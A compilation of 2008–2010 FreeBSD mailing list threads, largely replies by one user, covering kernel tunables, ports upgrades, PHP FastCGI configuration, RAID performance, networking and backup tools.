vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable



You probably have a lot of processes which use shared memory ..?
Enabling superpages (vm.pmap.pg_ps_enabled=1 in loader.conf) should 
resolve the problem (superpages have been added in 7.2)



My question is :
1.what is the meaning of PV?
2.Although there are lots of this warning,my server works still well.
Could someone explain the meaning of this warning ?
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Re: sort: write error with portsnap

2010-07-09 Thread Julien Cigar

On 07/08/2010 19:01, Jakub Lach wrote:



Julien Cigar-2 wrote:


Am I the only one to have sort: write errors since a few days with
portsnap ? :



Same here.

FreeBSD 8.1-PRERELEASE #0 r209773

- Jakub Lach


good to know I'm not the only one ... I thought my disks/RAID was 
silently dying (no kernel logs) ...


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sort: write error with portsnap

2010-07-08 Thread Julien Cigar

Hello,

Am I the only one to have sort: write errors since a few days with 
portsnap ? :


jci...@bebif ports % sudo portsnap fetch update
Looking up portsnap.FreeBSD.org mirrors... 5 mirrors found.
Fetching snapshot tag from portsnap2.FreeBSD.org... done.
Fetching snapshot metadata... done.
Updating from Thu Jul  8 08:48:04 CEST 2010 to Thu Jul  8 10:08:38 CEST 
2010.

Fetching 1 metadata patches. done.
Applying metadata patches... done.
Fetching 0 metadata files... done.
Fetching 1 patches. done.
Applying patches... done.
Fetching 0 new ports or files... done.
sort: write failed: standard output: Broken pipe
sort: write error
Removing old files and directories... done.
Extracting new files:
(...)
Building new INDEX files... done.

Julien

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Re: slapd crash the HP proliant DL360 at 8.0

2010-06-28 Thread Julien Cigar

On 06/28/2010 11:56, Frank Bonnet wrote:

Argh !!!

I upgraded slapd to 2.4.22 and it does not start anymore !!!

some symbol cannot be found anymore

I had to revert to 2.3.4x to have a working slapd !!!

What's wrong with 2.4.22 folks ?




did you rebuilt all ports which depend on openldap-server ? (portmaster 
-r openldap-server).


also if you want to replace openldap-server23 with openldap-server24 I 
would use portmaster -o




On 06/28/2010 10:27 AM, Erik Nørgaard wrote:

On 28/giu/2010, at 09:50, Frank Bonnetf.bon...@esiee.fr wrote:


Hello

I had BIG trouble saturday morning with a HP proliant DL360
that runs our directory server ( OpenLDAP )

Tha machine had crashed ...

Anyone had the same trouble running slapd at 8.0 ?

I must find out what happened , software or hardware trouble


It is impossible to answer that based on the above information.

Check your logs. If you can't find any useful log entries increase
loglevel, restart and see if problem repeats.

BR

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Re: can i use flags at once?

2010-06-08 Thread Julien Cigar
some ports have OPTIONS, then you can use make config / make 
config-recursive (man ports)


others don't, then you can set them in /etc/make.conf, for example :

jci...@frodon ~ % cat /etc/make.conf
WITHOUT_APACHE=YES
WITHOUT_IPV6=YES
#WITHOUT_NLS=YES
WITHOUT_KDE=YES
WITHOUT_GNOME=YES

.if ${.CURDIR:M*/x11/rxvt-unicode}
WITHOUT_AFTERIMAGE=yes
.endif

.if ${.CURDIR:M*/editors/vim}
WITH_GTK2=yes
.endif

(of course you can always use make -DWITH_FOO -DWITHOUT_BAR clean 
install clean)


regards,
Julien

Giorgos Tsiapaliokas wrote:

hello,

i am a gentoo user and now i am trying to install a freebsd on my machine.
ports are great but while my machine is compiling i receive messages about
the flags.

in gentoo i was able via the file /etc/portage/package.use to determine
which flags i wanted to enable and which not.

is there any way to do this in FreeBSD,since gentoo's portage is based on
ports.

thanks in advance.
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Re: real time files mirroring ?

2010-05-20 Thread Julien Cigar
You may want to wait for HAST : http://wiki.freebsd.org/HAST .. I think 
it has been merged to HEAD ..


regards,
Julien

Frank Bonnet wrote:

Hello

I'm searching for a software that could perform some kind of real time
mirroring between two (or more) freebsd servers.

My meaning is to keep up to date some files ( flat and db maps ) used by 
Postfix on our MX servers and propagate every change of one or more

files to all the others.

Thank you



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Intel SRCZCR ?

2009-12-09 Thread Julien Cigar

Hello,

At work we've a machine which is currently running FreeBSD 7.0 and we 
would like to upgrade to 7.2


This machine has an esoteric embedded RAID controller, the Intel SRCZCR 
RAID adapter.


When I installed the machine one year ago I read the RELEASE Hardware 
Notes to check whether this chipset was supported or not. I didn't found 
any references, but I came across 
http://www.krellis.org/unix-stuff/srczcr-freebsd-howto.html and read 
that if was in fact supported by the iir(4) driver. Although I had a 
panic with the GENERIC kernel (see kern/122067), it works like a charm 
for more than one year now.


Do you know if this card is still supported by the iir(4) driver (or 
other) in the 7.2-RELEASE ?


Thanks,
Julien

(apologies for cross posting for those who're on freebsd-scsi)

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Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable

2009-08-25 Thread Julien Cigar
Hello,

We have an HP Proliant DL380G5 with 4GB of RAM and FreeBSD 7.0 which
runs PostgreSQL 8.3 for more than a year now. No problems, except that
two days ago I noticed those messages in my kernel logs :

Approaching the limit on PV entries, consider increasing either the
vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.

Since vm.pmap.shpgperproc and vm.pmap.pv_entry_max require a reboot I
want to be sure that I put good values (for ex: I read that increasing
too much vm.pmap.shpgperproc could result in a panic at boot time or
later).

I have the following in /boot/loader.conf :

kern.ipc.semmni=1024
kern.ipc.semmns=16384
kern.ipc.semmnu=16384
vm.pmap.shpgperproc=225
vm.pmap.pv_entry_max=4134816

and the following in /etc/sysctl.conf :

kern.ipc.shmall=262144
kern.ipc.shmmax=1073741824
kern.ipc.semmap=16384
kern.ipc.shm_use_phys=1

Do you think that those values for vm.pmap.pv_entry_max and
vm.pmap.shpgperproc are OK ? Is it OK to increase vm.pmap.pv_entry_max
as long as vm.kvm_free is not too low ? 

Thanks,
Julien

-- 
Julien Cigar
Belgian Biodiversity Platform
http://www.biodiversity.be
Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
Boulevard du Triomphe, entrée ULB 2
B-1050 Bruxelles
Mail: jci...@ulb.ac.be
@biobel: http://biobel.biodiversity.be/person/show/471
Tel : 02 650 57 52

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Re: 7.2 RELEASE ? Buggy as hell

2009-07-30 Thread Julien Cigar
On Thu, 2009-07-30 at 15:32 -0400, PJ wrote:
 I have (supposedly, as I am told by my bootup) upgraded to 7.2
 Wonderful. But how do i make this thing work. I've managed to do it on
 an amd64 on an ACER Travelmate 4400 running at 1600mhz.
 This box runs on 3ghz; Xorg comes up and the mouse is dead. Flashplayer9

This is probably due to a buggy bios, try to disable USB legacy
support, it should fix the problem (at least on mine)

 with linux-emulator f8 and all the tweaks does not work, acroread9 does
 not either,

Flash or Acroread have nothing to do with FreeBSD. Emulation is always
something hazardous, it might work, it might not. 

 hal is useless. I've tried turning off the option AllowEmptyInput to

define useless ? It works like a charm here. Did you read the FAQ on
freebsd.org/gnome ?

 off; i've tried starting hal - and when I run startx, the configuration
 file is the default built-in... I don't understand what the hell is
 going on... None of the solutions on google seem to work either...
 oh, but there is some sunlight in neverneverland... I can boot and I can
 install all kinds of files - funny, I don't want to play with this crap...
 and I certainly am not going to reinstall after all I have gone
 through... If I do reinstall, it will be another OS.
 If it all works on amd64, what's wrong with i386?
 I think it's time to switch to something more reliable.
 
-- 
Julien Cigar
Belgian Biodiversity Platform
http://www.biodiversity.be
Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
Boulevard du Triomphe, entrée ULB 2
B-1050 Bruxelles
Mail: jci...@ulb.ac.be
@biobel: http://biobel.biodiversity.be/person/show/471
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Re: Secure apache with php

2009-07-09 Thread Julien Cigar
What I do is running PHP in FastCGI mode (with something like x-cache)
with a dedicated user for each webapp for which I have a dedicated
script, for example :

=
jci...@bccm-it ~ % ls -l /usr/local/www/apache22/cgi-bin
(...)
-rwxr-xr-x  1 www-scarwww-scar202 Oct 27  2008
scar-php-wrapper.fcgi*
-rwxr-xr-x  1 www-lwatch  www-lwatch  202 Apr 24 12:05
sfa-php-wrapper.fcgi*
-rwxr-xr-x  1 www-tapir   www-tapir   202 Oct 27  2008
tapir-php-wrapper.fcgi*
(...)
=

each .fcgi contain something like :

=
jci...@bccm-it ~ %
cat /usr/local/www/apache22/cgi-bin/scar-php-wrapper.fcgi
#!/bin/sh

#PHPRC=/path/to/php.ini
#export PHPRC

PHP_FCGI_CHILDREN=3
export PHP_FCGI_CHILDREN

PHP_FCGI_MAX_REQUESTS=1
export PHP_FCGI_MAX_REQUESTS

exec /usr/local/bin/php-cgi -b 127.0.0.1:5009
=

you can control how much children have to be fork(), the number of
maximum requests per process before it gets killed and re-launched
(usefull if a webapp leaks memory), etc

Then in your Apache config you put something like :

=
FastCgiExternalServer /usr/local/www/apache22/cgi-bin/scar-php-wrapper.fcgi 
-host 127.0.0.1:5009 -idle-timeout 1800

Location /cgi-bin/scar-php-wrapper.fcgi
SetHandler fastcgi-script
/Location

Directory /usr/local/www/apache22/data/scarmarbin
Order allow,deny
Allow from all

AddHandler php-fastcgi .php
Action php-fastcgi /cgi-bin/scar-php-wrapper.fcgi
/Directory
=

hope it helps,

best regards,
Julien


On Thu, 2009-07-09 at 12:22 +0200, Nicolas Letellier wrote:
 Le Thu, 9 Jul 2009 13:18:39 +0300,
 Reko Turja reko.tu...@liukuma.net a écrit :
 
   I want to secure my Apache/PHP environment...
  
  Full suhosin, both patch and mod for the PHP. IIRC suhosin patch is 
  optional in PHP port and the mod can be installed via ports.
  (http://www.hardened-php.net/suhosin/index.html)
  
  Apache environment and binaries set up in a jail.
  
   Which Apache version do you advice?
  
  I reckon these days 2.2 would be the best in regards of future 
  upgrades and development.
  
  -Reko 
  
 Thanks. I already use suhosin patch in mod_php.
 
 I have few users on this machine, each use a separate directory
 (/var/www/user). I do not want to make a jail for each one.
 
 That's why mpm-itk seems to be good (instead of safe_mode /
 open_basedir).
 
 Best regards,
 
 
 
-- 
Julien Cigar
Belgian Biodiversity Platform
http://www.biodiversity.be
Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
Boulevard du Triomphe, entrée ULB 2
B-1050 Bruxelles
Mail: jci...@ulb.ac.be
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Re: Secure apache with php

2009-07-09 Thread Julien Cigar
On Thu, 2009-07-09 at 13:43 +0200, Nicolas Letellier wrote:
 Le Thu, 09 Jul 2009 12:49:57 +0200,
 Julien Cigar jci...@ulb.ac.be a écrit :
 
  What I do is running PHP in FastCGI mode (with something like x-cache)
  with a dedicated user for each webapp for which I have a dedicated
  script, for example :
  
  =
  jci...@bccm-it ~ % ls -l /usr/local/www/apache22/cgi-bin
  (...)
  -rwxr-xr-x  1 www-scarwww-scar202 Oct 27  2008
  scar-php-wrapper.fcgi*
  -rwxr-xr-x  1 www-lwatch  www-lwatch  202 Apr 24 12:05
  sfa-php-wrapper.fcgi*
  -rwxr-xr-x  1 www-tapir   www-tapir   202 Oct 27  2008
  tapir-php-wrapper.fcgi*
  (...)
  =
  
  each .fcgi contain something like :
  
  =
  jci...@bccm-it ~ %
  cat /usr/local/www/apache22/cgi-bin/scar-php-wrapper.fcgi
  #!/bin/sh
  
  #PHPRC=/path/to/php.ini
  #export PHPRC
  
  PHP_FCGI_CHILDREN=3
  export PHP_FCGI_CHILDREN
  
  PHP_FCGI_MAX_REQUESTS=1
  export PHP_FCGI_MAX_REQUESTS
  
  exec /usr/local/bin/php-cgi -b 127.0.0.1:5009
  =
  
  you can control how much children have to be fork(), the number of
  maximum requests per process before it gets killed and re-launched
  (usefull if a webapp leaks memory), etc
  
  Then in your Apache config you put something like :
  
  =
  FastCgiExternalServer /usr/local/www/apache22/cgi-bin/scar-php-wrapper.fcgi
  -host 127.0.0.1:5009 -idle-timeout 1800
  
  Location /cgi-bin/scar-php-wrapper.fcgi
  SetHandler fastcgi-script
  /Location
  
  Directory /usr/local/www/apache22/data/scarmarbin
  Order allow,deny
  Allow from all
  
  AddHandler php-fastcgi .php
  Action php-fastcgi /cgi-bin/scar-php-wrapper.fcgi
  /Directory
  =
  
  hope it helps,
  
  best regards,
  Julien
  
  
  On Thu, 2009-07-09 at 12:22 +0200, Nicolas Letellier wrote:
   Le Thu, 9 Jul 2009 13:18:39 +0300,
   Reko Turja reko.tu...@liukuma.net a écrit :
   
 I want to secure my Apache/PHP environment...

Full suhosin, both patch and mod for the PHP. IIRC suhosin patch
is optional in PHP port and the mod can be installed via ports.
(http://www.hardened-php.net/suhosin/index.html)

Apache environment and binaries set up in a jail.

 Which Apache version do you advice?

I reckon these days 2.2 would be the best in regards of future 
upgrades and development.

-Reko 

   Thanks. I already use suhosin patch in mod_php.
   
   I have few users on this machine, each use a separate directory
   (/var/www/user). I do not want to make a jail for each one.
   
   That's why mpm-itk seems to be good (instead of safe_mode /
   open_basedir).
   
   Best regards,
   
   
   
 When I tested php in cgi, performances were bad. That's why, php_mod is
 better (in my case !=
 

It's not CGI, it's FastCGI.
There is no performance loss if you use an opcode cacher (like x-cache).

-- 
Julien Cigar
Belgian Biodiversity Platform
http://www.biodiversity.be
Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
Boulevard du Triomphe, entrée ULB 2
B-1050 Bruxelles
Mail: jci...@ulb.ac.be
@biobel: http://biobel.biodiversity.be/person/show/471
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Re: upgrade 7 - 7.2

2009-05-25 Thread Julien Cigar
You don't have to rebuilt all ports when you upgrade from 7.0 to 7.2, it
is, in general, only required when you upgrade for one major version to
another one (6.x - 7.x or 7.x to 8.x)

On Mon, 2009-05-25 at 14:30 +0200, Pieter Donche wrote:
 I have to upgrade a few FreeBSD7 machines to FreeBSD7.2
 (this is new to me)
 One machine has very few third party ports installed (33), the other
 over 600 ... One of the steps is # portupgade -af, to rebuild all third 
 party software..  this took 27 minutes on the 33 packages machine..
 So for 20 times more packages:  10 hours ???
 Is this normal? 
 Also, one I had one screen  asking for options for libiconv 1.11_1
 where I had to tab to OK and press enter. 
 What is the 600 packages system has 20 of more of such screens,
 waiting for user input. Can't one make ik automatically accept the
 defaults?
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Re: move to other subnet

2009-05-06 Thread Julien Cigar
On Wed, 2009-05-06 at 10:18 +0200, Pieter Donche wrote:
 Just want to check:
 
 If a freebsd7 system is to move to a different subnet
 (from ip XXX.YYY.AAA.BBB to XXX.YYY.CCC.DDD)
   same netmask 255.255.255.0
   same hostname myhost.mydomain.mycountry
   same DNS servers
 
 then /etc/rc.conf is the only file that needs changes?
 

yes (maybe /etc/hosts too)

 defaultrouter=XXX.YYY.CCC.254   ---
 hostname=myhost.mydomain.mycountry 
 ifconfig_em0=inet XXX.YYY.CCC.DDD netmask 255.255.255.0 ---
 
 and reboot ?

no need to reboot, just # /etc/rc.d/netif restart

 or is there any other file(s) to change?
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Re: CARP bridge

2009-04-29 Thread Julien Cigar
On Wed, 2009-04-29 at 11:37 +0200, Sebastiaan van Erk wrote:
 Hi,
 
 I have a bridged OpenVPN setup where the OpenVPN tap0 driver is bridged 
 (via bridge0) to the physical em1 interface, which has a VIP via a carp1 
 interface:
 
 em1: flags=8943UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST metric 0 
 mtu 1500
   options=98VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM
   ether 00:0c:29:61:2a:55
   inet 10.0.80.77 netmask 0xff00 broadcast 10.0.80.255
   media: Ethernet autoselect (1000baseTX full-duplex)
   status: active
 bridge0: flags=8843UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST metric 0 mtu 
 1500
   ether 9a:6a:9f:b2:65:da
   id 00:00:00:00:00:00 priority 32768 hellotime 2 fwddelay 15
   maxage 20 holdcnt 6 proto rstp maxaddr 100 timeout 1200
   root id 00:00:00:00:00:00 priority 32768 ifcost 0 port 0
   member: tap0 flags=143LEARNING,DISCOVER,AUTOEDGE,AUTOPTP
   ifmaxaddr 0 port 11 priority 128 path cost 200
   member: em1 flags=143LEARNING,DISCOVER,AUTOEDGE,AUTOPTP
   ifmaxaddr 0 port 2 priority 128 path cost 2
 tap0: flags=8943UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST metric 
 0 mtu 1500
   ether 00:bd:48:03:00:00
   Opened by PID 24616
 carp1: flags=49UP,LOOPBACK,RUNNING metric 0 mtu 1500
   inet 10.0.80.74 netmask 0xff00
   carp: MASTER vhid 2 advbase 1 advskew 0
 
 
 The problem I have is that when I ping the VIP from a VPN client (on 
 tap0), the server receives arp requests for the VIP on tap0, but it does 
 not respond to them:
 
 # tcpdump -i tap0 -ln
 11:29:13.637048 arp who-has 10.0.80.74 tell 10.0.80.6
 
 Is there any way to get the server to respond to arp requests on tap0 
 for the VIP?
 

Maybe you've to do ARP Proxy on one side ? Try to add an ARP entry in
the ARP table with arp (arp -s 1.2.3.4 MAC foo) ..

 This is all on FreeBSD 7.1 with OpenVPN 2.0.6 (both client and server).
 
 Regards,
 Sebastiaan
 
-- 
Julien Cigar
Belgian Biodiversity Platform
http://www.biodiversity.be
Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
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B-1050 Bruxelles
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Re: mail server/webmail

2009-04-23 Thread Julien Cigar
On Thu, 2009-04-23 at 13:30 -0500, Adam Vande More wrote:
 Frederique Rijsdijk wrote:
  Liontaur wrote:
  Hi folks, I was searching around but i'm not quite sure what i'm looking
  for. I want to have a program that gets the mail from my ISP mail server
  (pop), stores the mail permanently, allows me webmail access, and 
  also lets
  me grab the mail with a mail client (Outlook Express). I'd like to be 
  able
  to sync the mail with outlook express also. Like if I send a mail over
  webmail, that sent mail will also go into the sent box in outlook 
  express,
  or conversly, perhaps store all the mail on the server and have outlook
  express just show the folders and contents stored on the server. But i'd
  have to somehow upload all of the mail currently in my outlook 
  express. I'll
  also need some kind of spam functionality as I get a sizable amount 
  of spam.
  Currently I use K9 for spam and I quite like it.
  I guess you could start to look in the area of:
 
  - /usr/ports/mail/fetchmail (to fetch/store the mail)
  - /usr/ports/mail/dovecot (for access to the mail via imap)
  - /usr/ports/mail/squirremail or roundcube (webmail w/ imap)
  - /usr/ports/www/apache22 for the webmail
 
  As you're then using IMAP, any client that connects to dovecot will 
  get the same set of mailfolders (sync).
 
 
  -- Frederique
 
 I've not used roundcube, but horde imp is a also an IMAP webmail client, 
 and I find to be be a much better client than squirrelmail.
 _

Take a look at Hastymail too .. (version 2, because the port is still
version 1)
http://www.hastymail.org/

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Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
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B-1050 Bruxelles
Mail: jci...@ulb.ac.be
@biobel: http://biobel.biodiversity.be/person/show/471
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Re: ZFS Question

2009-04-08 Thread Julien Cigar
On Wed, 2009-04-08 at 08:57 -0700, Amaru Netapshaak wrote:
 Hello,
 
 I am interested in using something like ZFS for its distributed nature. I run 
 a file server
 with samba acting as a PDC. I also run a second server as a BDC.  What I would
 like is a method for keeping both servers shared data drives in sync when 
 both the
 PDC and BDC are running. 
 
 I am currently doing an incremental update twice daily to the BDC using rsync 
 over
 SSH.  It works, but its just not good enough.. if the PDC goes down, anything 
 created
 or altered after midnight or so, isnt propagated to the BDC. 
 
 I understand I can use ZFS to accomplish this easily.. but from what I've 
 read, you still
 need to manually push updates to the backup server over ssh via cron.  So I 
 would still
 have windows of time where the file systems would not be in sync..  am I 
 heading in the
 wrong direction here? I am beginning to think I am.. 
 
 I've been afraid of NFS for some time.. remembering back to the days when it 
 was just
 not safe to use NFS.  I may have carried that fear on irrationally.. is NFS a 
 viable 
 solution to my problem these days?  
 
 Thanks for the advice!
 

you could use ggated/ggatec together with gmirror

 +-+ AMARU
 
 
 
   
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Re: How to remove all files with a certain extension

2009-04-06 Thread Julien Cigar
On Mon, 2009-04-06 at 16:57 -0400, John Almberg wrote:
 This is a real newbie question, but I can't figure it out...
 
 I want to remove all .tar files from a directory tree. I think  
 something like the following should work, but I must have something  
 wrong, because it doesn't:
 
 find . -name *.tar -exec rm /dev/null {} \;
 

find . -type f -name *.tar -delete

 What am I doing wrong?
 
 Thanks: John
 
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Re: Formatting a tape?

2009-03-19 Thread Julien Cigar
Try this :

mt -f /dev/nsa0 rewind
mt -f /dev/nsa0 weof 1
mt -f /dev/nsa0 rewind


On Thu, 2009-03-19 at 12:15 -0400, Jaime wrote:
 I have a DLT tape drive in a FreeBSD system.  With one of the tapes, I
 can get tar -cvpf /dev/sa0 -C / . to work.  With all the other
 tapes, I can't.
 
 Is there some kind of formatting process that I need to do?  I tried
 mt fsf 1 from this page:
 
 http://www.freebsd.org/doc/en/books/handbook/backups-tapebackups.html
 
 This didn't seem to work, though.
 
 Any help is appreciated,
 Jaime
 
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poor performances with Intel Raid Controller (iir)

2009-02-27 Thread Julien Cigar
Hello,

I've a machine with an integrated Intel RAID controller (U320) which
uses the iir driver. I have two arrays, one RAID 1 with two disks and
one RAID 5 with 8 disks. The disks are all Seagate 320MB/s. The system
is running FreeBSD 7.0-RELEASE with 8 processors (2,40 Ghz) and 4GB or
RAM.

I have very poor performances, around ~50 MB/s, is it normal ? 

jci...@bccm-it ~ % dd if=/dev/zero of=blah bs=10M count=100
100+0 records in
100+0 records out
1048576000 bytes transferred in 20.168689 secs (51990290 bytes/sec)

Are there any tool to detect what could be the bottleneck(s) ?

Thanks,
Julien

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Re: poor performances with Intel Raid Controller (iir)

2009-02-27 Thread Julien Cigar
On Fri, 2009-02-27 at 16:07 +0100, Wojciech Puchar wrote:
 
  Not sure, I admit that the card is quite old (4 years), but 50 MB/s
  seems really slow to me (especially for U320 SCSI) ..
 
 U320 means interface speed, not disk speed.
 

yes, but the disks are 10k RPM U320 too .. for the price they cost (~500
€ per unit I think) I expect to have a bit more than 50 MB/s ..

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Re: poor performances with Intel Raid Controller (iir)

2009-02-27 Thread Julien Cigar
On Fri, 2009-02-27 at 15:37 +0100, Wojciech Puchar wrote:
 
  I've a machine with an integrated Intel RAID controller (U320) which
  uses the iir driver. I have two arrays, one RAID 1 with two disks and
  one RAID 5 with 8 disks. The disks are all Seagate 320MB/s. The system
  is running FreeBSD 7.0-RELEASE with 8 processors (2,40 Ghz) and 4GB or
  RAM.
 
  I have very poor performances, around ~50 MB/s, is it normal ?
 
  jci...@bccm-it ~ % dd if=/dev/zero of=blah bs=10M count=100
  100+0 records in
  100+0 records out
  1048576000 bytes transferred in 20.168689 secs (51990290 bytes/sec)
 
  Are there any tool to detect what could be the bottleneck(s) ?
 
 are you sure it isn't NORMAL performance of this card.
 

Not sure, I admit that the card is quite old (4 years), but 50 MB/s
seems really slow to me (especially for U320 SCSI) ..

 i think it is, the hardware RAID solutions are usually much slower than 
 software, even more with RAID5.

I tend to use software RAID too (at least on system with multiple
processors)... when I have choice.


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Re: World doesn't build correctly

2009-02-17 Thread Julien Cigar
7_STABLE is incorrect.

. = CURRENT
RELENG_X = X-STABLE
RELENG_X_Y = X.Y-RELEASE

so you probably want RELENG_7

On Tue, 2009-02-17 at 20:14 +0100, Frank Wißmann wrote:
 Hello, list!
 When I try to build my new world with todays sources I don't get 
 properly what I want. I configured my cvs-supfile with
 
 default tag=7_STABLE
 
 and all I get is this from dmesg:
 
 FreeBSD 7.0-RELEASE #0: Tue Feb 17 19:02:23 CET 2009
 
 and from uname -a':
 
 FreeBSD grissom.einundvierzig.org 7.0-RELEASE FreeBSD 7.0-RELEASE #0: 
 Tue Feb 17 19:02:23 CET 2009 
 r...@grissom.einundvierzig.org:/usr/obj/usr/src/sys/GRISSOM  amd64
 
 What is going wrong here? Why isn't ther build a 7_STABLE as I desire? 
 What do I need to change to get my wanted results?
 
 TIA Frank
 
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Re: Looking for a Good FreeBSD and General Unix Backup System

2009-01-28 Thread Julien Cigar
If you're looking for something serious (I mean with
incremental/differential/full backups, retension periods, pools, multi
platform, tape/file/dvd support, ...) I highly suggest Bacula
(http://www.bacula.org).

I use it successfully at work since two years (we used Amanda before) to
backup 10+ machines (FreeBSD and Linux mainly)

best regards,
Julien

On Tue, 2009-01-27 at 16:30 -0600, Martin McCormick wrote:
   Several months ago, I started using dar to backup a
 number of FreeBSD and Linux systems to one FreeBSD box. It
 worked fine once one got the syntax of the remote commands
 working, but then it all died when I moved it to a new
 FreeBSD6.3 system. 
 
   If I can't figure out what is wrong or whether it is
 worth fixing, I am going to have to find some other archiver so
 we can get good backups and trust them to be easily restored.
 
   What we plan to do is backup a bunch of Unix systems to
 one FreeBSD box and then use a commercial package to back that
 box up to an enterprise-wide system we use. The archiver we need
 must be able to make 1 full backup of each system like tar and
 then incrementals until we are ready for another full backup.
 
   Any suggestions as to what is best? Dar seemed to be
 okay until the incrementals would hang each time with some error
 messages about the format version being too high which is bogus
 because we are using the same version for all the effected
 systems.
 
   The archive files should use tar or some other common
 storage method so we could unpack an archive from a Linux system
 in to a FreeBSD directory or vice versa.
 
   Any backup packages using tar would be fine as long as
 they can do incremental backups and use ssh as the transport.
 
   Any ideas are appreciated.
 
   Thank you.
 
 Martin McCormick WB5AGZ  Stillwater, OK 
 Systems Engineer
 OSU Information Technology Department Telecommunications Services Group
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Re: /libexec/ld-elf.so.1: Shared object libgcrypt.so.15 not found, required by libgs.so.8

2009-01-12 Thread Julien Cigar
vim /usr/ports/UPDATING: 

20090107:
  AFFECTS: users of security/libgcrypt
  AUTHOR: ra...@freebsd.org

  libgcrypt has been upgraded to 1.4.3 which has a shared library
  version bump. You need to reinstall all ports depending on it.
  Use something like this:

  portupgrade -rf libgcrypt
  portmaster -r libgcrypt

should be that ..

On Mon, 2009-01-12 at 14:23 +, Anton Shterenlikht wrote:
 I get this error in /var/spool/lpd/my printer:
 
 /libexec/ld-elf.so.1: Shared object libgcrypt.so.15 not found, required by 
 libgs.so.8
 
 I use apsfilter, so I guess this must be something to do with ghostscript?
 
 Any advice?
 
 many thanks
 anton
 
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Re: how should I upgrade all these ports??

2009-01-12 Thread Julien Cigar
Always read /usr/ports/UPDATING before any upgrade. After that you can
use portmaster (the one I use) or portupgrade to upgrade all those
outdated ports with a single command : portmaster -avd

On Mon, 2009-01-12 at 10:08 -0500, Tsu-Fan Cheng wrote:
 Hi,
   I just csup my port tree this morning (01/12), and realized there is
 a whole lot ports need my attention (49 of them). I checked out
 UPDATES and found out that gnome and GTK+ have just been updated. But
 i don't have gtkmm or gnome-session installed, I wonder if I should
 still upgrade my ports just as described in the UPDATES. Here is the
 list:
 
   === New version available: gnomehier-2.3_11
   === New version available: lame-3.98.2_1
   === New version available: libcheck-0.9.6
   === New version available: ORBit2-2.14.16
   === New version available: arts-1.5.10_1,1
   === New version available: atk-1.24.0
   === New version available: cairo-1.8.6,1
   === New version available: consolekit-0.3.0_3
   === New version available: dbus-1.2.4.2
   === New version available: dbus-glib-0.78
   === New version available: esound-0.2.41
   === New version available: fontconfig-2.6.0,1
   === New version available: gamin-0.1.10
   === New version available: gconf2-2.24.0
   === New version available: gio-fam-backend-2.18.4
   === New version available: glib-2.18.4
   === New version available: gnome-doc-utils-0.14.2
   === New version available: gnome-icon-theme-2.24.0_2
   === New version available: gnome-keyring-2.24.1_1
   === New version available: gnome-vfs-2.24.0
   === New version available: gtk-2.14.7
   === New version available: gtk-engines2-2.16.1
   === New version available: gvfs-1.0.3
   === New version available: hal-0.5.11_10
   === New version available: libbonobo-2.24.0
   === New version available: libbonoboui-2.24.0
   === New version available: libgnome-2.24.1
   === New version available: libgnomeui-2.24.0
   === New version available: libgsf-1.14.11
   === New version available: libnotify-0.4.5
   === New version available: librsvg2-2.22.3_1
   === New version available: libsoup-2.24.2.1
   === New version available: libxml2-2.7.2_1
   === New version available: pango-1.22.4
   === New version available: pixman-0.12.0
   === New version available: policykit-0.9_2
   === New version available: policykit-gnome-0.9.2
   === New version available: py25-cairo-1.8.0_2
   === New version available: py25-gobject-2.16.0
   === New version available: py25-gtk-2.13.0_1
   === New version available: py25-libxml2-2.7.2
   === New version available: firefox-3.0.5_1,1
   === New version available: firefox-3.0.a2_5,1
   === New version available: gnome-menus-2.24.2
   === New version available: intltool-0.40.5
   === New version available: libgweather-2.24.2
   === New version available: libwnck-2.24.2
   === New version available: py25-orbit-2.24.0
   === New version available: webkit-gtk2-1.0.1_4
   === 49 have new versions available
 
 
 thank you!!
 
 TFC
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Re: Backing Up ZFS

2008-12-19 Thread Julien Cigar
I would suggest Bacula, a bit hard to config but very flexible

On Fri, 2008-12-19 at 12:52 +0100, Wojciech Puchar wrote:
  As ZFS is becoming more stable and approaching production ready, how
  would one Backup ZFS? In terms of backing up to an external media or
  storage rather than doing snapshots. In case the the server
  spontaneously bursts into flames.
 
 use tar it's filesystem independent if you have tape drives.
 
 actually you can tar to anything even multivolume backup using USB 
 connected drivers.
 
  I'm just curious at what others are currently doing to back up huge
  amounts of data. eg. 2TB and onwards.
 
  1. ZFS - External HDD (External HDD aren't even big enough to handle
  greater than 2TB) Taken offsite daily
  2. ZFS - Another ZFS box (Not sure how you take it off site daily)
  3. ZFS - Remote ZFS using RSync (Living in Australia, there are
  limits on data transfer of a few hundred GB per month, to costs are
  prohibitive)
 
 you don't require your backup target to have ZFS.
 
 all your 3 solutions are filesystem-independent
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Re: CMS suggestion on FreeBSD (except Mambo)

2008-12-13 Thread Julien Cigar
I would suggest Plone

On Sat, 2008-12-13 at 22:26 +0900, munkhbayar batkhuu wrote:
 Dear all FreeBSD list members.
 
 One of my old FreeBSD-5.4 server is installed with Mambo (4.6.2 Bug
 Stomp Pre-Release 2, not installed from ports) and I'm going to
 upgrade this Content Management System (CMS) to FreeBSD-7 and tried to
 install Mambo via ports.
 New portaudit installed system says Mambo have security issue and
 can't be installed. And I'm not going to use Mambo. (I know Mambo have
 long standing history of security issues).
 It seems that Joomla will be installed fine (,however).
 
 My question is, Can you suggest me on more secure open source CMS?,
 which CMS are you using on FreeBSD?.
 
 Thanks in advance.
 Munkh
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Re: Why FreeBSD not popular on hardware vendors

2008-12-12 Thread Julien Cigar
On Fri, 2008-12-12 at 00:23 +0100, Bernt Hansson wrote:
 Julien Cigar said the following on 2008-12-11 14:40:
